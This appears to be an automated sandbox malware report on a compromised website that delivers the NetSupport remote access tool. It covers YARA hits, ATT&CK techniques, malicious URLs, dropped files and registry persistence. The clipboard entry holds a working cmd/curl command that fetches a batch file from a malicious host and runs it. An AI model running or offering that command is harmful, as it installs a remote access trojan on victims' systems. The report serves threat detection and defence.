Source: Yara match	File source: C:\Users\user\AppData\Roaming\Directory\HTCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Directory\PCICHEK.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Directory\TCCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Directory\PCICL32.DLL, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Windows Management Instrumentation	1 Windows Service	1 Windows Service	1 Masquerading	1 Network Sniffing	111 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	2 Browser Extensions	12 Process Injection	1 Modify Registry	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	1 Scripting	1 Registry Run Keys / Startup Folder	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	12 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	1 DLL Side-Loading	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	1 Network Sniffing	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	21 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Source	Detection	Scanner
C:\Users\user\AppData\Roaming\Directory\HTCTL32.DLL	3%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\PCICHEK.DLL	3%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\PCICL32.DLL	11%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\TCCTL32.DLL	3%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\branding.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\client32.exe	19%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\gehrga\avcodec-53.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\gehrga\avutil-51.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\gehrga\itvwd64.sys	4%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\gehrga\libstdc++-6.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\hw.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\katrga\avcodec-53.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\katrga\avutil-51.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\katrga\itvwd64.sys	4%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\katrga\libstdc++-6.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\kpodja\avcodec-53.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\kpodja\avutil-51.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\kpodja\itvwd64.sys	4%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\kpodja\libstdc++-6.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\mirvfa\avcodec-53.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\mirvfa\avutil-51.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\mirvfa\itvwd64.sys	4%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\mirvfa\libstdc++-6.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\msvcr100.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\nkakus\avcodec-53.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\nkakus\avutil-51.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\nkakus\itvwd64.sys	4%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\nkakus\libstdc++-6.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\pcicapi.dll	3%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\remcmdstub.exe	16%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\tailji\avcodec-53.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\tailji\avutil-51.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\tailji\itvwd64.sys	4%	ReversingLabs
C:\Users\user\AppData\Roaming\Directory\tailji\libstdc++-6.dll	0%	ReversingLabs

Name	IP	Active	Malicious	Reputation
dja7ygzgr04yk.cloudfront.net	3.168.147.20	true	false	high
tr.lfeeder.com	13.249.126.78	true	false	high
ace-project.org	162.214.153.12	true	false	high
www.google.com	142.251.40.36	true	false	high
focuslight-www.oss-ap-southeast-1.aliyuncs.com	47.79.48.222	true	false	unknown
www.focuslight.com	159.138.57.153	true	true	unknown
meimei68.top	77.83.199.73	true	false	unknown
wp.wpenginepowered.com	141.193.213.10	true	false	high
www.insideedgepr.com	unknown	unknown	true	unknown
sc.lfeeder.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://www.insideedgepr.com/header.php	true	unknown
https://www.insideedgepr.com/raxs.zip?8d21e5f647d81a33c781	true	unknown
http://5.252.178.123/fakeurl.htm	true	unknown
https://meimei68.top/lsass/jsson.js	false	unknown
https://meimei68.top/lsass/index.js?8a7441451c8ad03d76	false	unknown
https://focuslight-www.oss-ap-southeast-1.aliyuncs.com/wp-content/uploads/2025/03/V-groove-EN-1-scaled.jpg	false	unknown
http://c.pki.goog/r/r4.crl	false	high
https://focuslight-www.oss-ap-southeast-1.aliyuncs.com/wp-content/uploads/2024/01/%E8%BF%91%E6%9C%9F%E5%8F%82%E5%B1%95%E4%BF%A1%E6%81%AFEN.jpg	false	unknown
https://meimei68.top/lsass/index.php?fHYWBUn3	false	unknown
https://ace-project.org/d.js	true	unknown
https://focuslight-www.oss-ap-southeast-1.aliyuncs.com/wp-content/uploads/2025/03/Global-Optimization-EN-1-scaled.jpg	false	unknown
https://focuslight-www.oss-ap-southeast-1.aliyuncs.com/wp-content/uploads/2022/12/Focuslight-Advancing-Photonics-Technologies-Around-the-World-1.mp4	false	unknown
https://focuslight-www.oss-ap-southeast-1.aliyuncs.com/wp-content/uploads/2025/05/LWOP-EN-scaled.jpg	false	unknown
https://focuslight-www.oss-ap-southeast-1.aliyuncs.com/wp-content/uploads/2025/01/2025-2-28-%E6%B6%88%E8%B4%B9%E7%94%B5%E5%AD%90-EN-scaled.jpg	false	unknown
https://www.focuslight.com/	false	unknown
http://www.focuslight.com/	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://www.pci.co.uk/support	client32.exe, 0000001D.00000002.2021916267.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp, client32.exe, 00000021.00000002.1891661737.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp, client32.exe, 00000022.00000002.1973680770.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp, PCICL32.DLL.28.dr	false	high
http://%s/testpage.htmwininet.dll	client32.exe, 0000001D.00000002.2022624501.000000006C090000.00000002.00000001.01000000.00000010.sdmp, HTCTL32.DLL.28.dr	false	high
https://www.insideedgepr.com/raxs.zip?8d21e5f647d81a33c7811/	powershell.exe, 0000001C.00000002.1757624677.0000000002DCA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://geo.netsupportsoftware.com/location/loca.asp	client32.exe, 0000001D.00000002.2021848504.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000021.00000002.1891623943.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000022.00000002.1973644487.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, PCICL32.DLL.28.dr	false	high
http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)	client32.exe, 0000001D.00000002.2021848504.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000021.00000002.1891623943.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000022.00000002.1973644487.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, PCICL32.DLL.28.dr	false	high
http://www.pci.co.uk/supportsupport	client32.exe, 0000001D.00000002.2021916267.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp, client32.exe, 00000021.00000002.1891661737.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp, client32.exe, 00000022.00000002.1973680770.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp, PCICL32.DLL.28.dr	false	high
http://ocsp.thawte.com0	hw.dll.28.dr	false	high
https://www.insideedgepr.com/header.phpj	curl.exe, 00000018.00000002.1578218088.0000000002958000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://127.0.0.1RESUMEPRINTING	client32.exe, 0000001D.00000002.2021848504.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000021.00000002.1891623943.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000022.00000002.1973644487.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, PCICL32.DLL.28.dr	false	high
http://%s/testpage.htm	client32.exe, 0000001D.00000002.2022624501.000000006C090000.00000002.00000001.01000000.00000010.sdmp, HTCTL32.DLL.28.dr	false	high
http://www.counter-strike.net/cheat.html	hw.dll.28.dr	false	high
http://127.0.0.1	client32.exe, 0000001D.00000002.2021848504.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000021.00000002.1891623943.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000022.00000002.1973644487.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, PCICL32.DLL.28.dr	false	high
https://www.insideedgepr.com/raxs.zip?8d21e5f647d81a33c781s=	client32.exe, 0000001D.00000002.2019290970.0000000000E80000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.symauth.com/cps0(	powershell.exe, 0000001C.00000002.1759185059.000000000520A000.00000004.00000800.00020000.00000000.sdmp, pcicapi.dll.28.dr, HTCTL32.DLL.28.dr, PCICL32.DLL.28.dr	false	high
https://www.insideedgepr.com/header.phpUZ	curl.exe, 00000018.00000002.1578327815.0000000002985000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000018.00000003.1577847612.0000000002985000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000018.00000003.1577752347.0000000002985000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://%s/fakeurl.htm	client32.exe, 0000001D.00000002.2022624501.000000006C090000.00000002.00000001.01000000.00000010.sdmp, HTCTL32.DLL.28.dr	false	high
https://www.insideedgepr.com/header.phpf	curl.exe, 00000018.00000002.1578218088.0000000002958000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	hw.dll.28.dr	false	high
https://aka.ms/pscore6lB	powershell.exe, 0000001C.00000002.1759185059.0000000004C01000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.symauth.com/rpa00	powershell.exe, 0000001C.00000002.1759185059.000000000520A000.00000004.00000800.00020000.00000000.sdmp, pcicapi.dll.28.dr, HTCTL32.DLL.28.dr, PCICL32.DLL.28.dr	false	high
https://www.insideedgepr.com/raxs.zip?8d21e5f647d81a33c781LOCALAPPDATA=C:	reg.exe, 0000001E.00000002.1764196566.0000000003240000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.insideedgepr.com/header.php-oC:	curl.exe, 00000018.00000002.1578218088.0000000002950000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.netsupportschool.com/tutor-assistant.asp11(	client32.exe, 0000001D.00000002.2021916267.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp, client32.exe, 00000021.00000002.1891661737.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp, client32.exe, 00000022.00000002.1973680770.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp, PCICL32.DLL.28.dr	false	high
http://support.steampowered.com	hw.dll.28.dr	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000001C.00000002.1759185059.0000000004C01000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.netsupportschool.com/tutor-assistant.asp	client32.exe, 0000001D.00000002.2021916267.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp, client32.exe, 00000021.00000002.1891661737.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp, client32.exe, 00000022.00000002.1973680770.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp, PCICL32.DLL.28.dr	false	high
https://www.insideedgepr.com/raxs.zip?8d21e5f647d81a33c781Y	client32.exe, 0000001D.00000002.2017612312.00000000008BE000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
3.168.147.20	dja7ygzgr04yk.cloudfront.net	United States	16509	AMAZON-02US	false
5.252.178.123	unknown	Moldova Republic of	39798	MIVOCLOUDMD	true
159.138.57.153	www.focuslight.com	Singapore	136907	HWCLOUDS-AS-APHUAWEICLOUDSHK	true
13.249.126.115	unknown	United States	16509	AMAZON-02US	false
47.79.48.222	focuslight-www.oss-ap-southeast-1.aliyuncs.com	United States	9500	VODAFONE-TRANSIT-ASVodafoneNZLtdNZ	false
142.251.40.36	www.google.com	United States	15169	GOOGLEUS	false
141.193.213.10	wp.wpenginepowered.com	United States	396845	DV-PRIMARY-ASN1US	false
77.83.199.73	meimei68.top	Lithuania	12679	ASN-MOLMoscowRussiaRU	false
162.214.153.12	ace-project.org	United States	46606	UNIFIEDLAYER-AS-1US	false
13.249.126.78	tr.lfeeder.com	United States	16509	AMAZON-02US	false

Private

IP
192.168.2.17
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1700159
Start date and time:	2025-05-27 20:50:32 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://www.focuslight.com/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	35
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.phis.troj.win@48/239@25/13

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, RuntimeBroker.exe, ShellExperienceHost.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.101.139, 142.250.101.138, 142.250.101.101, 142.250.101.113, 142.250.101.100, 142.250.101.102, 142.250.141.94, 142.250.141.84, 142.250.141.102, 142.250.141.100, 142.250.141.101, 142.250.141.139, 142.250.141.138, 142.250.141.113, 72.247.234.254, 23.32.1.137, 142.250.101.95, 142.250.141.95, 74.125.137.95, 142.251.2.95, 142.251.2.94, 23.66.134.242
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com, c.pki.goog
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
14:52:10	API Interceptor	56x Sleep call for process: powershell.exe modified
19:52:07	Clipboard	Run: C:\WINDOWS\system32\cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c C:\WINDOWS\system32\curl.exe -k -Ss -X POST "https://www.insideedgepr.com/header.php" -o "C:\ProgramData\xss.bat" && start /min "" "C:\ProgramData\xss.bat" Press Enter
19:52:31	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Program_Cs1 C:\Users\user\AppData\Roaming\Directory\client32.exe
19:52:39	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Program_Cs1 C:\Users\user\AppData\Roaming\Directory\client32.exe

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with very long lines (26823)
Category:	dropped
Size (bytes):	108147
Entropy (8bit):	4.755621118227425
Encrypted:	false
SSDEEP:	1536:cG9Sa9+4xT6DIOu0G9Sa9+4xT6DIOuyG9Sa9+4xT6DIOumG9Sa9+4xT6DIOuq:cKT6Et0KT6EtyKT6EtmKT6Etq
MD5:	B49008C280DAABCCF4C819580480E614
SHA1:	D98A2BB15A093DA010EDAFC307A4490340EC2FF0
SHA-256:	C4C94ED4E496F89C0CA330137964151ADD9B392241A3018EC1673177AE9428DE
SHA-512:	48AA9B9DD2F6C47FBB652F2C8CF3501F5F51C78D5B8B2DECEC0A0876DD58EB3CDA9F0EC7F7B5A015A5108BBDA7A64DBEBB353C048B8C99233B25EB4DC80944E6
Malicious:	true
Reputation:	low
Preview:	..@echo offf.setlocal enabledelayedexpansion..:: TRYVEETYUVEZIZWITJWWAPDVVOKWLUJPMJNPMGOHCOOASVJBUEERIFNAMGARIPTYLMRDICIKABDXJMLDMYACJRXDQPTXAPZNYVETTKZRXWUHQBAMEYAQGDEEBTOJBYXVQQODMQDSTGEBWEZECTFRXAMJOWUIQEXVXIOIPKJNNDKPFHFGNPEPXERJNRDERPOZOVFVUPVZYSTMEWWSBAERGRXYFVDNJOQRHHCNMMZBVNUPOSMNBRQEJZCOGIWCGHYTTJZPZOIHNRTVAYEPBVLFRFWGPBZHHAMLYIAVFKBYQUALCGQQATGNSOHMEFVCWDSYEIZNUBVHFNWFVYQFYDWNCYOPRYJTUFRZQZNVNPRVLQIKTJSMBLSACXPBXYLYNUSAPHIHBGLVIXIDZSCDKDBAUTBKWNNYJMXSEKUNTLHUTUWNOTHCZZZJUYDKEFJEKSWGRIQIYRWSBGLJRDJJKSVPQVZJAYTQAGQPWZHTFNLEWPMIODAOTRQJDKZREMOVZPNZIRHHQVJYOWGZIKBSPPUEAKYZFOYYQTSIVVTLRWCLCGYPQKNNGYEFDRSVGKJRNZAJTDGGIEEGXHKVGHWPQANBKGQJZBCIJGTRBPTXJKANPTCOSEAEGOLCYWVPNRBIINHULAVIGVMQKOZFFZGFNDLSURWCEOVNXAUPJBTLSOSXUMEMPSMYVILRUUXZGBITECWABZQIAAMSEHXAPTVUKXOJRTGRKFJZFMRZDGPMCIFNOGWXMESMDHYAJJRWXUJJAISWNMDMTEDUDEKHSQIJZOJJYUEKHNSJFPLIUGZYTZHGYIJBMKLBMZRCYVKIFGCZGYARAVMOGHTBWJAMIBQFVGJVODSVOBZNXJXJYUIKQOAWIDPNBIVNLQJFQWKFQXMGNKKBXVVOFOPGNBNFOWRXBIFYZNEQVJERFEAENPFILVITVOPOQXHDLWQQKMQ

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5829
Entropy (8bit):	4.901113710259376
Encrypted:	false
SSDEEP:	96:ZCJ2Woe5H2k6Lm5emmXIGLgyg12jDs+un/iQLEYFjDaeWJ6KGcmXlQ9smpFRLcUn:Uxoe5HVsm5emdQgkjDt4iWN3yBGHVQ9v
MD5:	7827E04B3ECD71FB3BD7BEEE4CA52CE8
SHA1:	22813AF893013D1CCCACC305523301BB90FF88D9
SHA-256:	5D66D4CA13B4AF3B23357EB9BC21694E7EED4485EA8D2B8C653BEF3A8E5D0601
SHA-512:	D5F6604E49B7B31C2D1DA5E59B676C0E0F37710F4867F232DF0AA9A1EE170B399472CA1DF0BD21DF702A1B5005921D35A8E6858432B00619E65D0648C74C096B
Malicious:	false
Reputation:	low
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1440
Entropy (8bit):	5.312537467544374
Encrypted:	false
SSDEEP:	24:3BNn4SKco4KmM6GjKbmOIKo+mN1s4RPQoU99t7J0gt/NKVkrgvSvrv:xNn4SU4Yymp+ms4RIoU99tK8NCkESvz
MD5:	4045E8CF5B7AFC8D2E824A38A9FCCD93
SHA1:	608BD9C680A0CBCD011F0ECF5CCEC18227B4E8B8
SHA-256:	29FFF151249455583511E2DA13AFB232896BB5D1EBDDC6D4894298BAC0D3C06A
SHA-512:	B1DCFB2AD81714A4DB05567EC150045A68FF7A42BACDA93028D14AA6CAA3B9E7B313A41E0FAA0DEA3754630A8B761BF5566A37D3A3016D5D806A81BEFB676A01
Malicious:	false
Reputation:	low
Preview:	@...e...........8...............................................H...............x..}...@..."~.u....... .System.IO.Compression.FileSystemH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Ut

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mg2ywird.xqp.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mtgkoksc.wue.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ny4jkaeu.wzk.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rtfog15h.3df.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Directory\HTCTL32.DLL

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	328056
Entropy (8bit):	6.754723001562745
Encrypted:	false
SSDEEP:	6144:2ib5YbsXPKXd6ppGpwpbGf30IVFpSzyaHx3/4aY5dUilQpAf84lH0JYBAnM1OK/Y:2ib5YbsXioEgULFpSzya9/lY5SilQCfg
MD5:	2D3B207C8A48148296156E5725426C7F
SHA1:	AD464EB7CF5C19C8A443AB5B590440B32DBC618F
SHA-256:	EDFE2B923BFB5D1088DE1611401F5C35ECE91581E71503A5631647AC51F7D796
SHA-512:	55C791705993B83C9B26A8DBD545D7E149C42EE358ECECE638128EE271E85B4FDBFD6FBAE61D13533BF39AE752144E2CC2C5EDCDA955F18C37A785084DB0860C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\Directory\HTCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A...A...A.......A...9...A...A..gA....1..A....0.A.......A.......A.......A..Rich.A..........PE..L.....V...........!.................Z.......................................P......=G....@......................... ...k....y..x.......@...............x).......0..................................._..@............................................text............................... ..`.rdata..............................@..@.data....f.......(...v..............@....rsrc...@...........................@..@.reloc..b1.......2..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\NSM.LIC

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	257
Entropy (8bit):	5.118392369315665
Encrypted:	false
SSDEEP:	6:O/oPn4xRPjwx1xvdDKHMoEEjLgpW2MezvLdNWYpPM/ioVLa8l6i7s:XeR7wxoJjjqW2MePBPM/ioU8l6J
MD5:	390C964070626A64888D385C514F568E
SHA1:	A556209655DCB5E939FD404F57D199F2BB6DA9B3
SHA-256:	AD0D05305FDEB3736C1E8D49C3A6746073D27B4703EB6DE6589BDC4AA72D7B54
